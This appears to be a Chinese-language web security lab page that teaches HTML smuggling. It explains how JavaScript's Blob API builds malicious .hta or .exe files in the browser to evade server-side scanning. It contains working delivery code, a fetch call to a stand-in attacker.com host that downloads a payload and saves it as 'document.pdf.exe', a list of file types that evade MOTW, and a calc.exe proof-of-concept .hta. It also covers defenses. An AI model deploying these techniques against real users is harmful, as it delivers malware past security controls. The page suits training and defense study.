◈ 渗透任务 HTML Smuggling 文件投递验证 任务中
你的身份 「暗影安全公司」渗透测试工程师 目标网站 SecureDrop 安全文件传输 (transfer.securedrop.example.com) 委托方 SecureDrop 的服务器端扫描无法检测客户端构造的恶意文件 任务目标 使用 Blob API 在浏览器中构造恶意文件并触发下载

◈ 教程:HTML Smuggling

什么是 HTML Smuggling?

HTML Smuggling 是一种攻击技术,利用浏览器端 JavaScript 构造恶意文件并触发下载。与传统的恶意文件下载不同,恶意文件从不出现在服务器上,因此可以绕过服务器端的所有安全检测机制。

核心原理:攻击载荷不是从服务器下载的,而是由页面中的 JavaScript 代码在浏览器内存中动态构造的。服务器只提供了一个"干净"的 HTML 页面。

攻击流程

┌─────────────┐     HTML 页面(干净)     ┌─────────────┐
│   受害者     │  ←─────────────────────  │   服务器     │
│  (浏览器)    │                           │  (攻击者控制) │
│             │     无恶意文件传输         │             │
│  ┌───────┐  │                           └─────────────┘
│  │ JS 代码│  │
│  └───┬───┘  │
│      │      │
│      ▼      │
│  Blob API   │   在内存中构造恶意文件
│      │      │
│      ▼      │
│  下载 .hta  │   自动触发文件下载
│  / .exe 等  │
└─────────────┘

关键技术:Blob API

// 1. 创建 Blob 对象(文件内容在内存中)
const blob = new Blob(
    ['文件内容字符串'],
    {type: 'application/hta'}  // MIME 类型
);

// 2. 生成临时下载 URL
const url = URL.createObjectURL(blob);
// → "blob:https://example.com/a1b2c3d4-..."

// 3. 创建下载链接并触发
const a = document.createElement('a');
a.href = url;
a.download = 'invoice.hta';  // 保存的文件名
a.click();                    // 触发下载

为什么服务器端扫描无法检测?

  • 服务器视角:只看到一个普通的 HTML 页面请求,返回的也是干净的 HTML/JS 代码
  • 网络流量:没有恶意文件在网络上传输,WAF/IDS 无法检测
  • 文件系统:服务器上不存在恶意文件,文件扫描无用武之地
  • 沙箱:如果沙箱不执行 JS,也不会看到恶意文件

常见利用场景

文件类型 MIME Type 用途
.hta application/hta HTML Application,可执行任意命令
.exe application/octet-stream 可执行文件
.iso application/octet-stream 磁盘映像(绕过 MOTW)
.docx application/vnd.openxmlformats... Office 文档(含宏)
.lnk application/octet-stream 快捷方式文件

进阶:文件内容编码

// Base64 编码二进制文件
function base64ToBlob(base64, mimeType) {
    const byteChars = atob(base64);
    const byteArrays = [];
    for (let i = 0; i < byteChars.length; i++) {
        byteArrays.push(byteChars.charCodeAt(i));
    }
    return new Blob([new Uint8Array(byteArrays)], {type: mimeType});
}

// 使用 fetch 下载外部 payload
fetch('https://attacker.com/payload.bin')
    .then(r => r.blob())
    .then(blob => {
        const a = document.createElement('a');
        a.href = URL.createObjectURL(blob);
        a.download = 'document.pdf.exe';
        a.click();
    });

防御措施

  • 浏览器的 Mark-of-the-Web (MOTW) 标记下载文件
  • EDR/终端安全软件检测下载的可执行文件
  • 企业策略阻止从浏览器下载 .hta/.exe 等文件类型
  • 内容 Disarm and Reconstruction (CDR) 技术

◈ 练习:HTML Smuggling

目标:页面模拟了一个"发票下载"场景。点击按钮后,JavaScript 会在浏览器中构造一个 .hta 文件并触发下载。 观察整个过程中服务器完全没有传输恶意文件。
◈ 攻击特征:
  • 服务器端 -- 无恶意文件,安全扫描无异常
  • 客户端 -- JavaScript 使用 Blob API 构造恶意文件
  • 下载触发 -- <a download> 自动触发文件保存
◈ 模拟场景:发票下载页面

您有一张待处理的电子发票,请点击下方按钮下载。

等待操作...
◈ 自定义 Payload

修改 .hta 文件内容和文件名,观察不同的构造结果:

◈ 查看漏洞源码 (JavaScript)
// HTML Smuggling - file constructed in browser function smuggle() { // Simulated malicious content const payload = '<script>new ActiveXObject("WScript.Shell").Run("calc.exe")<\/script>'; // Create blob const blob = new Blob([payload], {type: 'application/hta'}); // Create download link const a = document.createElement('a'); a.href = URL.createObjectURL(blob); a.download = 'invoice.hta'; a.click(); }
◈ 查看服务端代码 (PHP)
<?php // 服务器端: 只提供一个"下载发票"的页面 // 服务器完全没有看到任何恶意文件 // 恶意 .hta 文件完全在浏览器端构造 // 服务器端安全扫描无法检测 ?>
◈ 技术分析:
  • Blob -- 在浏览器内存中构造文件
  • URL.createObjectURL -- 生成 blob:https://... 临时 URL
  • <a download> -- 浏览器自动保存文件,无需用户确认
  • 服务器全程 无恶意内容传输,WAF/IDS 无法检测